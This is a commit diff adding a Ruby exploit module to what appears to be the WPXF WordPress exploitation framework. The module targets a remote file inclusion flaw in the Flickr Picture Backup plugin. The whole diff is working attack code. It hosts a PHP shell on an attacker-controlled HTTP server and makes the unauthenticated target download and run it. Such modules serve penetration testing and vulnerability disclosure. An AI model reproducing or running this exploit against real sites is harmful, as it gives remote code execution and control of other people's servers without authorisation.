Add Flickr Picture Backup RFI shell upload

Author: rastating

modules/exploits/flickr_picture_backup_rfi_shell_upload.rb

@@ -0,0 +1,92 @@
+class Wpxf::Exploit::FlickrPictureBackupRfiShellUpload < Wpxf::Module
+  include Wpxf
+  include Wpxf::Net::HttpServer
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Flickr Picture Backup RFI Shell Upload',
+      desc: %(
+        Flickr Picture Bacup suffers from a remote file inclusion vulnerability
+        which allows unauthenticated users to download and execute a PHP shell
+        hosted on a remote server.
+
+        This module will host a HTTP server to serve the payload, and make a request
+        to the target that will initiate the download and execution of the payload.
+      ),
+      author: [
+        'Larry W. Cashdollar',            # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8803'],
+        ['URL', 'http://www.vapidlabs.com/advisory.php?v=190']
+      ],
+      date: 'Apr 26 2017'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'rfi_host',
+        desc: 'The address of the host listening for a connection',
+        required: true
+      ),
+      StringOption.new(
+        name: 'rfi_path',
+        desc: 'The path to access via the remote file inclusion request',
+        default: Utility::Text.rand_alpha(8),
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_readme('flickr-picture-backup', '0.9')
+  end
+
+  def rfi_host
+    normalized_option_value('rfi_host')
+  end
+
+  def rfi_path
+    normalized_option_value('rfi_path')
+  end
+
+  def rfi_url
+    "http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}/#{payload_name}"
+  end
+
+  def on_http_request(_path, _params, _headers)
+    payload.encoded
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'flickr-picture-backup', 'flickr-picture-download.php')
+  end
+
+  def upload_request_params
+    { 'url' => rfi_url }
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_uploads, 'flickr_backup', payload_name)
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_field('url', rfi_url)
+    builder
+  end
+
+  def execute_payload(url)
+    stop_http_server
+    super(url)
+  end
+
+  def run
+    start_http_server true
+    super
+  end
+end